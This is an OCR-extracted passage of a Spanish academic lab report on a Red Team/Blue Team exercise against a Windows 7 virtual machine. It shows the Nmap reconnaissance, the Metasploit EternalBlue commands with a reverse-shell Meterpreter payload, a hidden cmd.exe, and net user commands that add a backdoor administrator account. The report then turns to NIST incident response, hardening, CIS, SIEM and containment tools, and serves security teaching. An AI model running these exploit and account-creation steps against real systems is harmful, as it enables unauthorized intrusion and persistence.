ht (c)> 2009 Microsoft Corporation. Reservados todos los derechos.

Papelera de 3 3 <
usuario>ipconfig

IConf iguracién IP de Windows

Adaptador de Ethernet Conexién de Area local:

Sufijo DNS especifico para la conexidén. . : gamanet.com

Uinculo: direccién IPub local. . . : feB8@::4842:9ce4:4e38:7898211
Direccién IPu4 :172.31.1.76

Mascara de subred = 255.255.252.8

Puerta de enlace predeterminada s 192.31.3.254

Adaptador de tidnel isatap.gamanet.com:

Estado d - : medios desconectados
Sufijo DNS especifico para la conexidn. . : gamanet.com

IC:\Users\usuario>

7! L5 B | o?QZI .
{1 @(ﬁ @@'@@Rightcm

fa - o0 @

Nota. Elaboracion propia.
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Figura 13

Ip Kali

: harvey@vbox: ~

Archivo Acciones Editar Vista Ayuda

— ) ~

eth@: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.31.1.236 netmask 255.255.252.0 broadcast 172.31.3.255
inet6 fe80::a00:27ff:fe75:517a prefixlen 64 scopeid 0x20<1link>
ether 08:00:27:75:51:7a txqueuelen 1000 (Ethernet)
RX packets 59154 bytes 62007930 (59.1 MiB)
RX errors @ dropped 1223 overruns @ frame @
TX packets 15127 bytes 4071016 (3.8 MiB)
TX errors @ dropped 3 overruns @ carrier @ collisions @

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6é ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 8 bytes 480 (480.0 B)
RX errors @ dropped @ overruns @ frame 0@
TX packets 8 bytes 480 (480.0 B)
TX errors @ dropped @ overruns @ carrier @ collisions @

Nota. Elaboracion propia.

Ahora se hace uso de la herramienta Nmap (Nmap.org, 2024), y el comando nmap -sS -

sV -0-T4172.31.1.76

e FEl comando -sS, realiza un escaneo llamado “half-one scan o “stealth scan”, en el que se
envia un paquete TCP con el flag SYN activado. Si el puerto esta abierto, el host
responde con SYN-ACK. Nmap luego no completa la conexion, sino que la cierra con un
RST.

e -sV (Version detection), detecta la version del servicio que corre en cada puerto abierto.

e -0 (OS detection), intenta determinar el sistema operativo del host remoto.
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e -T4 (Timing template), configura la velocidad del escaneo. -T4 es una plantilla de tiempo

rapida pero atn estable. Es ideal para redes confiables donde se requiere un escaneo mas

veloz.

e 172.31.1.76, es la direccion IP del objetivo (Windows 7).

Escaneo y Enumeracion
Figura 14
Comando Nmap

. harvey@vbox: ~

Archivo Acciones Editar Vista Ayuda

- T4 172.31.1.76

Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-26 03:09 -05

Nmap scan report for 172.31.1.76

Host is up (0.00030s latency).

Not shown: 987 closed tcp ports (reset)

PORT STATE SERVICE VERSION

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup
: WORKGROUP)

554/tcp open rtsp?

2869/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
10243/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49152/tcp open msrpc Microsoft Windows RPC

49153/tcp open msrpc Microsoft Windows RPC

49154/tcp open msrpc Microsoft Windows RPC

49155/tcp open msrpc Microsoft Windows RPC

49156/tcp open msrpc Microsoft Windows RPC

49158/tcp open msrpc Microsoft Windows RPC

MAC Address: 08:00:27:92:80:C0 (PCS Systemtechnik/Oracle VirtualBox virtual N
1C)

Device type: general purpose

Running: Microsoft Windows 2008|7|vistal8.1

0S CPE: cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_7 cp
e:/o:microsoft:windows_vista cpe:/o:microsoft:windows_8.1

0S details: Microsoft Windows Vista SP2 or Windows 7 or Windows Server 2008 R
2 or Windows 8.1

Network Distance: 1 hop

Service Info: Host: PC202006; 0S: Windows; CPE: cpe:/o:microsoft:windows

0S and Service detection performed. Please report any incorrect results at ht

tps://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 128.24 seconds

Nota. Elaboracién propia.

El resultado del escaneo arroja una gran cantidad de informacion:

e Estado general del Host:
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o El host se encuentra activo, con una latencia de respuesta muy baja (0.00030
segundos).

o Se detectaron 13 puertos TCP abiertos y 987 puertos cerrados.

o Ladireccion MAC identificada es: 08:00:27:92:80:C0, correspondiente a una tarjeta
de red virtual de Oracle VirtualBox.

e Puertos abiertos y servicios detectados:

o 135 Abierto Microsoft RPC Microsoft Windows RPC

o 139 Abierto NetBIOS-SSNMicrosoft Windows netbios-ssn

o 445 Abierto Microsoft-DS Windows 7 - 10 Microsoft-DS
(WORKGROUP)

o 554 Abierto RTSP (no identificado) Posible servicio de

transmision multimedia

o 2869 Abierto HTTP Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

o 5357 Abierto HTTP Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

o 10243 Abierto HTTP Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

o 4915249158 Abiertos Microsoft RPC Puertos dindmicos usados por
RPC en Windows

e Sistema operativo y detalles del dispositivo:
o Tipo de dispositivo: Proposito general (PC o servidor).
o Tipo de dispositivo: Proposito general (PC o servidor).
o Sistema operativo estimado: Microsoft Windows Vista SP2, Windows 7,
Windows Server 2008 R2 o Windows 8.1.

o Nombre del host: PC202006
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o Distancia en la red: 1 salto (host en red local).

o Identificador CPE: cpe:/o:microsoft: Windows

Analisis de Vulnerabilidades
Figura 15
Puerto 445 con Nmap

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-29 12:18 -05
Pre-scan script results:

| broadcast-avahi-dos:

| Discovered hosts:

| 224.0.0.251

| After NULL UDP avahi packet DoS (CVE-2011-1002).

|_ Hosts are all up (not vulnerable).

Nmap scan report for 192.168.1.18

Host is up (0.00015s latency).

PORT STATE SERVICE
445/tcp open microsoft-ds
MAC Address: 08:00:27:92:80:C0 (Oracle VirtualBox virtual NIC)

ost script results:
samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED
smb-vuln-ms10-054: false
smb-vuln-ms17-010:
VULNERABLE:
Remote Code Execution vulnerability in Microsoft SMBvl servers (msl17-010)
State: VULNERABLE
IDs: CVE:CVE-2017-0143

A critical remote code execution vulnerability exists in Microsoft SMBv1l
servers (ms17-010).

Disclosure date: 2017-03-14
References:
https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacry
t-attacks/
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143

H
|
|
|
|
|
|
|
|
| Risk factor: HIGH
|
|
i
|
|
|
|
p
|

Nmap done: 1 IP address (1 host up) scanned in 40.24 seconds

Nota. Elaboracion propia.

Podemos después del escaneo directamente al puerto 445 del dispositivo victima usando

el comando nmap -p445 --script vuln 172.31.1.76, que existe una vulnerabilidad llamada:
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Remote Code Execution in Microsoft SMBv1 servers (ms17-010) con cédigo CVE-2017-0143
(CVE-2017-0143).
Fase de Ataque

En esta fase se hace uso de la herramienta Metasploit (Metasploit, 2024), con los

siguientes comandos:

Figura 16

Msfconsole

harvey@vbox: ~

~ Archivo Acciones Editar Vista Ayuda

session on many

RECON

PAYLOAD

} post
nops

Nota. Elaboracion propia.

El comando msfconsole abre la aplicacion de Metasploit.
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Explotacion
Figura 17
Busqueda dentro de Metasploit

Metasploit Documentation: https://docs.metasploit.com/

msf6 > search ms17_010

Matching Modules

# Name Disclosure Date
cription

0 exploit/windows/smb/ms17_@1@ eternalblue 2017-03-14 average Yes
7-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1 target: Automatic Target
target: Windows 7
target: Windows Embedded Standard 7
target: Windows Server 2008 R2
target: Windows 8
target: Windows 8.1
target: Windows Server 2012
target: Windows 1@ Pro
9 _ target: Windows 10 Enterprise Evaluation v .
10 exploit/windows/smb/ms17 _01@ psexec 2017-03-14 normal Yes
7-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
11 target: Automatic

12 target: PowerShell

13 target: Native upload

14 target: MOF upload

15 AKA: ETERNALSYNERGY

16 AKA: ETERNALROMANCE

17 _ AKA: ETERNALCHAMPION

18 _ AKA: ETERNALBLUE v 5 5 S

19 auxiliary/admin/smb/ms17_@1@_ command 2017-03-14 normal No MS1
7-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution

20 \_ AKA: ETERNALSYNERGY

21 \_ AKA: ETERNALROMANCE

22 \_ AKA: ETERNALCHAMPION

23 \_ AKA: ETERNALBLUE . . S

24 auxiliary/scanner/smb/smb_ms17 010 v normal No MS1
7-010 SMB RCE Detection

25 \_ AKA: DOUBLEPULSAR

26 \_ AKA: ETERNALBLUE

Nota. Elaboracién propia.

Se buscan dentro de los mddulos Metasploit y se decide usar el primero para explotar la

vulnerabilidad.
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Comandos para configurar el exploit:

use exploit/windows/smb/ms17 010 eternalblue, selecciona el médulo de Metasploit
que explota la vulnerabilidad MS17-010 en el protocolo SMB de Windows.

set RHOSTS 172.31.1.76, Define la direccion IP del objetivo vulnerable al que se le
aplicara el exploit.

set PAYLOAD windows/x64/meterpreter/reverse_tcp, establece el tipo de carga util
(payload) que se enviara al sistema. En este caso, se usard una sesion Meterpreter de 64
bits mediante conexion TCP inversa.

set LHOST 172.31.1.236, especifica la IP local del atacante que recibira la conexion de
regreso (reverse shell).

set LPORT 4444, define el puerto en el que la maquina atacante escuchara para recibir la
conexion desde el sistema explotado.

run, lanza el exploit.

Elevacion de Privilegios

Figura 18

Comandos

msfe
LHOST
msf6
LPORT

et RHOSTS 172.31.1.76

et PAYLOAD windows/x64/meterpre

<3

4444

msfe exploit(

Nota. Elaboracion propia.



Figura 19

Acceso a la maquina

CP handl
Using

1 x64 (64—

0x00000010

Nota. Elaboracién propia.

Figura 20

Sesion abierta

Nota. Elaboracién propia.

bit)
ned 1 of 1
is vuln

_msl7_810 as
to M517-81@! - Windows

by SMB reply
5@ 72 6f 66 65 73

2 76

lid for arch indic:
Groom Allocations.

windo

siona
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Figura 21

Abriendo el terminal

Windows"

Nota. Elaboracion propia.

A continuacion, se explica el comando: execute -f cmd.exe -i -H:

e execute, orden de Meterpreter para ejecutar un proceso en el sistema remoto.

e -fcmd.exe, indica el archivo ejecutable a lanzar: en este caso, cmd.exe, que es la consola
de comandos de Windows.

e i, solicita una interfaz interactiva con el proceso (es decir, permite escribir y ver la salida
del shell remoto).

e -H, (Hide) Oculta la ventana del proceso en el sistema de la victima para que no se note

visualmente.

Figura 22

Creacion usuario

e: NT AUTHORITY
e -t cmd

sien 6.1.7601]

rosoft Corporation. Reservados todos

Nota. Elaboracién propia.



50

Explicaciéon comando usado en el cmd:

e net user, utilidad de Windows para administrar cuentas de usuario desde la linea de
comandos.

e Harveysanchez, nombre del nuevo usuario que se creara.

e 12345, contrasefia asignada al nuevo usuario.

e /add, ordena que se cree (agregue) la cuenta de usuario al sistema.

Figura 23

Usuario como administrador

:\Windows\syste
localgroup adminis

Nota. Elaboracién propia.

Explicacién comandos usados para agregar el nuevo usuario, al grupo de administradores:

e net localgroup, utilidad de Windows para gestionar grupos locales en el sistema.

e Administradores, nombre del grupo al que se desea agregar un usuario. En este caso, el
grupo de administradores locales (con privilegios elevados).

e Harveysanchez, nombre del usuario que se agregara al grupo de administradores. Debe
ser un usuario previamente creado.

e /add, ordena que se agregue el usuario especificado al grupo indicado.
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Fase de Reporte
Figura 24

Confirmacion usuario

io del usuario
200 (Pre rminado por equipo)
Se
Nunca

Ultimo cambio de
La contr

torio principal
Ultima sesien iniciada Nunca

Horas de inicio de sesi E} rizada Todas

Miembros del grupoc local #Administradores
*Usuarios
grupo global *None
ado el comando correctamente.

Nota. Elaboracién propia.

Aqui se verifica las caracteristicas del usuario y se confirma que efectivamente el usuario

fue creado.



Figura 25

Grupo Administradores

Coment
guipo o dominio

Miembros

Administrador

Nota. Elaboracién propia.

Figura 26

Usuario en Windows

% Win7-5E2020-X64 [Running] - Oracle VirtualBox - [m] X

File Machine View Input Devices Help

=

Panel de control Firefox

usuario>net user
Papelera de

reciclaje Cuentas de usuario de \\PC202006

Invitado

Se ha completado el comando correctamente.

IC:\Users\usuario>

2 v

D& 5 BBUG@ R

Nota. Elaboracion propia.
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Figura 27

Usuarios

[l Win7-5E2020-X64 [Running] - Oracle VirtualBox - 0O X

File Machine View Input Devices Help

. Windows 7 Professional

0 m@@ B8 8l @ @ right ctrl

Nota. Elaboracion propia.

Figura 28

Sesion iniciada

W Win7-SE2020-X64 [Running] - Oracle VirtualBox

File Machine View Input Devices Help

:" Tareas iniciales
! Conectarse a un proyector

)

harveysanchez
Calculadora

Documentos
Notas rapidas

R oot
‘“:{J Paint

—g# Visor de XPS

Imég
Musica
Equipo
Panel de control

.@i Faxy Escaner de Windows
Dispositivos e impreso

% Conexién a Escritorio remoto o o .
rogramas predeterminados

1
@‘ Lupa Ayuda y soporte técnico

> Todoslos programas

o

g Ozem Il
: 26/04/205 | |

(@ #] Right Ctrl

Nota. Elaboracion propia.
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Figura 29

Panel de control

:_- @u'h?‘ <« Cuentas de usuaric » Administrar cuentas

Elegir la cuenta que desee cambiar

harveysanchez usuario
| Administrador | Administrador
| Protegida por contrasefia |

Invitado
La cuenta de invitado estd desactivada

Crear una nueva cuenta

;Qué es una cuenta de usuario?

Acciones adicionales que se pueden realizar
'@' Configurar Contrel parental

Ir a la pagina principal de Cuentas de usuaric

=5 Administrar cuentas

Nota. Elaboracion propia.

Datos e Informacion del Anexo
e El equipo tenia una aplicacion vulnerable en un sistema Windows.
e Se menciond que podria llevar a una escalada de privilegios o acceso remoto por shell.
e Se entreg6 una copia forense del sistema que reproducia el entorno comprometido.
e Dado que se trataba de un Windows 7, se puede realizar una investigacion en repositorios
como CVE, acerca de vulnerabilidades de este sistema operativo relacionado con el

acceso remoto por Shell.
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Herramienta Utilizada

Para identificar los fallos de seguridad en la maquina Windows, se utiliz6 Nmap, una
herramienta de escaneo de red que permitié descubrir que el puerto 445 (SMB) estaba abierto.
Este puerto es utilizado por el servicio Server Message Block (SMB), comun en sistemas
Windows. Tras identificar este puerto, se us6 Metasploit Framework, especificamente el modulo
de escaneo auxiliary/scanner/smb/smb ms17 010, para verificar si la maquina era vulnerable a
la vulnerabilidad MS17-010 (EternalBlue). La herramienta confirmé que el sistema Windows 7

estaba expuesto a dicha vulnerabilidad.

Impacto del Ataque

El ataque realizado explota la vulnerabilidad MS17-010, conocida como EternalBlue, que
afecta al protocolo SMBv1 de Windows. Esta falla permite que un atacante remoto envie
paquetes especialmente disefiados al puerto 445 (usado por SMB) de una méquina vulnerable,

como Windows 7, y ejecute codigo malicioso sin necesidad de autenticacion.

Figura 30

Pasos del Atacante

Reconocimiento del
administrador

&

Ciclo de
movimiento
Mantenimiente

lateral de
privilegios

de pefsistencia

S/

Escalada de
privilegios

Nota. Tomado de: https://blog.hackmetrix.com/escalada-de-privilegios-tipos-y-estrategias-para-

evitarlos/
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.Qué logra el atacante?

e FEjecucion remota de codigo (Cloudflare, 2025): El atacante logra ejecutar codigo

arbitrario desde otra maquina, consiguiendo control total del sistema.

Figura 31
RCE
O Writing malicious Injecting malicious EEI-
scripts 010111 010111 code to web server
a [110111 I a
101011010
Attacker Malicious code Webside
Return error
message to attacker Malicious script
ya may get executed
< Z
A
Output

Nota. Tomado de: https://www.wallarm.com/what/the-concept-of-rce-remote-code-execution-

attack

e Privilegios elevados: Se obtiene acceso como NT AUTHORITY\SYSTEM, el nivel mas
alto de privilegio en Windows (Microsoft Learn, 2025).

e Modificacion del sistema: Se pueden crear usuarios administradores, manipular archivos

o instalar malware.



Figura 32

Escalamiento de Privilegios

Nota. Tomado de: https://blog.ehcgroup.i0/2020/03/31/09/56/22/8287/escalamiento-de-

privilegios-como-funcionan/hacking/ehacking/

e Persistencia: Se pueden instalar puertas traseras o usuarios ocultos para mantener el

acceso (CCS Learning Academy, 2023).

Figura 33

Persistencia

What Is Persistence in Cyber Security?
Definition, Techniques & Examples

Nota. Tomado de: https://www.ccslearningacademy.com/what-is-persistence-in-cybersecurity/
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e Movilidad lateral: Desde la maquina comprometida, se puede escanear y atacar otras

dentro de la red interna (;,Qué es el movimiento lateral?, 2025).

Figura 34

Movimiento Lateral

Network devices Internal servers

g) /\ > a A a > A8

Attacker Remote network device

Corporate network

Nota. Tomado de: https://www.cloudflare.com/es-es/learning/security/glossary/what-is-lateral-

movement/

e Filtracion de datos: El atacante puede copiar documentos, contrasefias guardadas, bases

de datos, etc. (Kaspersky, 2025).
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Figura 35

Filtracion

DATA
BREACH

Nota. Tomado de: https://computerhoy.20minutos.es/ciberseguridad/fuga-datos-como-impacta-

seguridad-mundial-1286622

e Compromiso de la seguridad organizacional: Un solo equipo vulnerado puede
comprometer completamente la confidencialidad e integridad de los sistemas internos de

la empresa.
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Respuesta del Blue Team y medidas de contencion

Pregunta 1

. Cual seria la primera accion que investigaria y ejecutaria al detectar una agresion
cibernética en curso? Justifique su respuesta utilizando fundamentos técnicos.

Para la respuesta frente a este incidente existen documentos y/o guias de cumplimiento
disponibles para consulta como son la Guia Para la Gestion y Clasificacion (CSIRT, 2024), el
NIST SP 800-61 Rev. 3 (NIST SP 800-61 Rev. 3, 2025) y la Guia para la Gestion y
Clasificacion de Incidentes de Seguridad de la Informacién del MINTIC (Guia 21 - Gestién de
Incidentes, 2016) y la NTC-ISO-IEC 27035-1:2023 (NTC-ISO-IEC 27035-1:2023)

Lo primero que se debe hacer al detectar un ataque en tiempo real es actuar rapidamente
en la fase de deteccion y andlisis, confirmando que el incidente es real, evaluando su alcance y
clasificando su impacto. Luego, se debe aislar el sistema afectado, evitar que el atacante continte
operando y comenzar una investigacion técnica detallada para eliminar completamente la
amenaza. Todo el proceso debe documentarse adecuadamente para mejorar la preparacion futura,

siguiendo la metodologia del NIST.
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Figura 36

Modelo de Ciclo de Vida NIST

Containment
Detection & Eradication Post-Incident
Preparation Analysis & Recovery Activity

Nota. Tomado de: https:/nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-61r3.pdf

En la fase de Preparacion, se evalla si la empresa contaba con medidas preventivas y
defensivas adecuadas antes del incidente. Esto podria incluir, por ejemplo: tener configurado un
firewall activo, aplicar parches de seguridad al sistema operativo, deshabilitar servicios
obsoletos, implementar politicas de seguridad claras, y disponer de herramientas de monitoreo.
También forma parte de esta fase la existencia de protocolos de respuesta y la capacitacion del
personal ante incidentes.

Durante la fase de Deteccion y Andlisis, se procede a identificar los signos del ataque y
confirmar su naturaleza. Técnicamente, esto implica revisar los registros del sistema (event
viewer), monitorizar procesos y conexiones activas (usando comandos como netstat, tasklist o
herramientas como Process Explorer (Process Explorer v17.06, 2024)), asi como capturar y
analizar trafico de red mediante herramientas como Wireshark (Wireshark, 2024). De esta

forma se pueden reconocer patrones anomalos, como trafico inusual en un puerto especifico,
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creacion de usuarios no autorizados o procesos ejecutandose con privilegios elevados. También
se debe determinar si el ataque contintia activo, qué sistemas estan comprometidos, y si existen
indicadores de persistencia o movimiento lateral.

En la fase de Contencion, Erradicacion y Recuperacion, se ejecutan acciones directas para
minimizar el impacto del incidente. Inicialmente se debe aislar la maquina comprometida de la
red, ya sea desconectandola o bloqueando comunicaciones desde el firewall. A continuacion, se
debe tratar de detener procesos maliciosos y determinar si hay archivos o usuarios generados por
el atacante. Una vez erradicada la amenaza, el sistema puede recuperarse mediante la
restauracion de backups confiables o una reinstalacion limpia. Esta fase requiere especial
atencion para asegurar que el entorno esté libre de compromisos residuales antes de volver a
operar normalmente.

En la fase de Lecciones Aprendidas, se recopila toda la informacion relacionada con el
incidente: evidencias, lineas de tiempo, decisiones tomadas, herramientas empleadas y
deficiencias identificadas. Con esta documentacion se busca realizar una mejora continua en los
procesos de seguridad, porque con ella se puede analizar por qué ocurrid el ataque, como se
detectd, qué medidas fallaron y qué acciones deben implementarse para fortalecer la postura
defensiva, como endurecer politicas de red, actualizar sistemas y realizar auditorias periodicas.
Pregunta 2

,Considerando la ofensiva realizada durante la actividad del Red Team, ;qué
mecanismos de fortalecimiento propondria para evitar que dicha intrusion vuelva a

ocurrir?

e Lo mas critico es instalar todas las actualizaciones acumulativas disponibles para

Windows 7, especialmente la que corrige la vulnerabilidad MS17-010 (CVE-2017-0143,
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2017). Esta vulnerabilidad fue solucionada por Microsoft en 2017, pero sigue siendo
ampliamente explotada en entornos sin actualizar. La falta de parches fue el factor
principal que permitio la intrusion. También es importante considerar que Windows 7 ya
no cuenta con soporte oficial de Microsoft desde enero de 2020 (Microsoft, 2020),
convirtiéndolo en un blanco vulnerable. Se recomienda migrar a versiones mas modernas
de Windows (Windows 10 o superior), donde se integran mejores controles de seguridad
nativos.

Desinstalar o deshabilitar SMBv1, protocolo obsoleto y vulnerable explotado por
EternalBlue. Puede desactivarse desde “Caracteristicas de Windows” o mediante el
comando PowerShell: Disable-WindowsOptionalFeature -Online -FeatureName
SMB1Protocol. También se deben deshabilitar todos aquellos servicios que no sean
estrictamente necesarios para el funcionamiento del sistema, reduciendo asi la superficie
de ataque. Esto incluye servicios de comparticion de archivos, escritorio remoto si no se
usa, y servicios de red innecesarios.

Como parte del ataque, se cred un usuario administrador en la maquina victima, entonces
se debe auditar los usuarios del sistema y eliminar cualquier cuenta sospechosa. Ademas,
se deben revisar los permisos de grupos y usuarios para asegurar que solo cuentas
legitimas tengan privilegios administrativos.

Se recomienda configurar el registro de eventos de Windows (Event Viewer, 2019) para
auditar accesos, creacion de usuarios, y actividades de red. Ademas, se puede
complementar con herramientas gratuitas como Wazuh (Wazuh, 2025), OSSEC (OSSEC,
2025), o incluso configurar Sysmon (Sysmon v15.15, 2024) para obtener visibilidad

detallada de los procesos y conexiones.
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Figura 37

Event — Viewer

Nota. Tomado de: https://learn.microsoft.com/es-es/shows/inside/event-viewer

e Durante el ataque, el firewall estaba desactivado, lo cual permitié conexiones entrantes en
el puerto TCP 445 desde la red local sin restricciones. El firewall debe estar activado por
defecto y configurado para bloquear conexiones no autorizadas, se podrian usar politicas
restrictivas por defecto y permitir solo lo necesario.

e Segmentacion de red y control de acceso: El ataque ocurrié en una red local, se podrian
aplicar técnicas de segmentacion para aislar sistemas vulnerables de otros activos criticos.
Por ejemplo, el uso de VLANs (VLAN, 2021), listas de control de acceso (ACL, 2025),

restringiendo el acceso a servicios sensibles por origen y destino.
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e Se debe establecer una politica de control de dispositivos USB y asegurar que el software
instalado en el sistema esté autorizado y verificado. El uso de herramientas como

AppLocker (AppLocker, 2024) o Software Restriction Policies (SRP, 2023).

Pregunta 3
Explique con su propio criterio las distinciones entre un grupo Blue Team y un

equipo encargado de la gestion de incidentes de ciberseguridad.

El Blue Team (Wang et al., 2024) tiene un enfoque proactivo y continuo, encargado de
fortalecer la ciberseguridad de una organizacion mediante la prevencion, deteccién y monitoreo
constante de amenazas. Su trabajo incluye hardenizacion, andlisis de logs, defensa perimetral y

uso de SIEMs (Definicion SIEM, 2025).

El equipo de Respuesta a Incidentes (CSIRT/CERT) (Vargas Ramos, 2021),actua de
forma reactiva y puntual cuando ocurre un evento de seguridad. Su funcion es responder,
contener, erradicar y recuperar el entorno tras un incidente, documentar lo sucedido y proponer

acciones correctivas.

Ambos roles se complementan, pero difieren en el momento de actuacion y sus objetivos.

Pregunta 4
JEn caso de que, como integrante de un equipo Blue Team, le asignen el uso del CIS
(Center for Internet Security), ;con qué proposito lo implementaria dentro de sus

funciones?

Si utilizaria el CIS (CIS, 2025), un conjunto amplio de recursos, marcos y guias que
permiten elevar el nivel de seguridad de los sistemas, redes y dispositivos. Su principal aporte

son los CIS Controls y los CIS Benchmarks, ambos de gran utilidad para proteger activos
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criticos de una organizacion. Dentro del Blue Team, se usaria para (IBM, ;Qué son los puntos de

referencia de CIS?, 2025):

Utilizaria los 18 Controles de Seguridad Criticos de CIS como una hoja de ruta priorizada
para implementar medidas de ciberseguridad efectivas. Estos controles me permitirian
centrarme en lo esencial: inventario de hardware/software, control de accesos, monitoreo
continuo, defensa contra malware, proteccion de datos, etc.

Los CIS Benchmarks contienen guias técnicas detalladas para configurar de manera
segura sistemas operativos (como Windows, Linux), servidores, dispositivos de red y
aplicaciones. Estos me serian ttiles para revisar la configuracion del sistema
comprometido y compararla con estandares seguros, corrigiendo configuraciones débiles.
El CIS también puede ser usado para auditar el cumplimiento de politicas de seguridad
interna y externas, como regulaciones o marcos como NIST, ISO 27001 o incluso GDPR
(GDPR, 2025). Ademas, su enfoque basado en riesgos y buenas practicas, el CIS ayuda a
anticipar vectores de ataque comunes y tomar medidas preventivas eficaces, permitiendo

que el equipo de Blue Team actie proactivamente.

Pregunta §

Describa y exponga las funciones esenciales y los atributos mas relevantes de un

sistema SIEM.

Un SIEM (Security Information and Event Management) es un software que sirve como

una solucidn de ciberseguridad que permite a las organizaciones detectar, analizar y responder a

incidentes de seguridad mediante la recoleccion y correlacion de eventos generados en los

diferentes sistemas, redes y aplicaciones. Su principal funcion es centralizar los registros de
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eventos (logs) para facilitar el analisis en tiempo real y la deteccion temprana de amenazas

(Definicion SIEM, 2025).

Funciones y caracteristicas principales se encuentran:

Recoleccion de logs de diversas fuentes como firewalls, antivirus, servidores,

dispositivos de red, aplicaciones y sistemas operativos.

e (Correlaciona eventos analizando y cruzando la informacion para identificar patrones
sospechosos que podrian indicar un ataque en progreso.

e Genera alertas en tiempo real cuando detecta comportamientos andmalos o indicadores
de compromiso.

e Permite reconstruir cronoloégicamente los hechos de un incidente de seguridad,
facilitando la investigacion (Andlisis forense).

e Ayuda a generar reportes y mantener trazabilidad de los eventos para cumplir con marcos
regulatorios como ISO 27001, PCI-DSS, entre otros.

e Ademas, permite la centralizacion de la informacion, capacidad de correlacion

inteligente, la automatizacion de respuestas y la visualizacion de eventos mediante

dashboards o consolas graficas como, por ejemplo, Wazuh (Wazuh, 2025).
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Pregunta 6

Identifique y describa al menos tres soluciones tecnoldgicas, ya sean de tipo
hardware o software, orientadas a la contencion de ciberataques. Tenga en cuenta que
estas herramientas deben estar enfocadas en detener o limitar el impacto del ataque,

diferenciandose de aquellas destinadas exclusivamente a su deteccion.

IPTables / UFW (Linux Firewall)

Tipo: Software (open source)

Iptables es una de las herramientas de firewall mas potentes para sistemas Linux (IBM,
2025). Permite crear reglas personalizadas para aceptar, rechazar o redirigir trafico de red en
funcién de IPs, puertos, protocolos, etc. Su version simplificada, ufw (Uncomplicated Firewall),
es ideal para administradores menos experimentados. Ambas son utiles para bloquear
rapidamente conexiones sospechosas, cerrar puertos comprometidos y contener trafico
malicioso. Su ventaja es que viene instalado por defecto en la mayoria de las distribuciones

Linux.

PFsense

Tipo: Software (open source)

Es un firewall de red y plataforma de enrutamiento de cddigo abierto basada en FreeBSD
(Netgate, 2025). Se puede instalar en hardware dedicado (como un mini-PC) o como una
maquina virtual. Permite crear reglas de contencion avanzadas, segmentacion de red, VPN,

deteccion de intrusiones (cuando se combina con Snort o Suricata), y més.

e Firewall de estado (Stateful Packet Inspection): filtra el trafico entrante y saliente segun

reglas especificas, analizando el estado de las conexiones.
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e NAT (Network Address Translation): permite compartir una IP publica entre multiples
dispositivos internos, esencial para la navegacion y para proteger redes internas.

e VPN (Virtual Private Network): pfSense permite configurar VPNs como OpenVPN,
[Psec y WireGuard, lo que permite conexiones remotas seguras a la red local.

e Balanceo de carga y alta disponibilidad: puede distribuir trafico entre multiples enlaces
de Internet o servidores internos, ideal para redes criticas.

e Captive portal: util para redes Wi-Fi publicas donde se desea autenticar usuarios antes de
otorgarles acceso.

e Sistema de prevencion de intrusiones (IPS/IDS): puede integrarse con herramientas como
Snort o Suricata para detectar y bloquear amenazas en tiempo real.

e Interfaz web intuitiva: todas las configuraciones pueden hacerse desde una consola web
amigable y potente.

e Soporte para VLANs, DHCP, DNS y mads: pfSense puede actuar como servidor DHCP,

reenviador DNS, gestionar multiples VLANs y mas, sin necesidad de software adicional.

Fail2Ban

Tipo: Software (open source)

Fail2Ban (Github, 2025) es una herramienta de seguridad que monitorea los archivos de
registro (logs) del sistema en tiempo real para detectar comportamientos sospechosos o
maliciosos (como multiples intentos fallidos de inicio de sesion, fuerza bruta SSH, escaneos de
puertos, etc.). Cuando detecta un patron malicioso, activa reglas de firewall (como iptables) para

bloquear automaticamente la IP ofensiva durante un tiempo configurable o de forma permanente.

e Permite contener ataques en el momento en que ocurren, sin intervencion manual.



70

Reduce significativamente el riesgo de ataques automatizados y bots.

Es altamente configurable para multiples servicios: SSH, FTP, Apache, Postfix, Nginx,
etc.

Se integra muy bien con iptables, reforzando asi la capa de firewall que ya estas
utilizando.

Ligero y facil de instalar en distribuciones Linux.

Se puede ampliar con filtros personalizados para nuevos servicios.

Compatible con firewalls como nftables y firewall.
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Estrategias de Red Team y Blue Team

El desarrollo de ejercicios practicos orientados al trabajo de Red Team y Blue Team (Diogenes
& Ozkaya, 2018, p. 16) permiti6 identificar caracteristicas muy importantes en la formulacion
de estrategias de ciberseguridad aplicables a infraestructuras reales. A partir de la simulacion
realizada, se evidencio la importancia de entender a profundidad las vulnerabilidades técnicas
que afectan los sistemas operativos cominmente desplegados en entornos corporativos. Con este
tipo de analisis, hecho desde una perspectiva ofensiva del Red Team, se demuestra el impacto
real que puede tener una brecha de seguridad no corregida, sino también visualizar la facilidad
con la que un atacante puede obtener privilegios elevados si no existen controles adecuados de
mitigacion. Desde la vision defensiva del Blue Team plante6 un abordaje estructurado de la
respuesta a incidentes, tomando como referencia el modelo NIST SP 800-61 Rev. 3. Asimismo,
se destacd el rol de herramientas como SIEM, firewalls y mecanismos de bloqueo dinamico, las
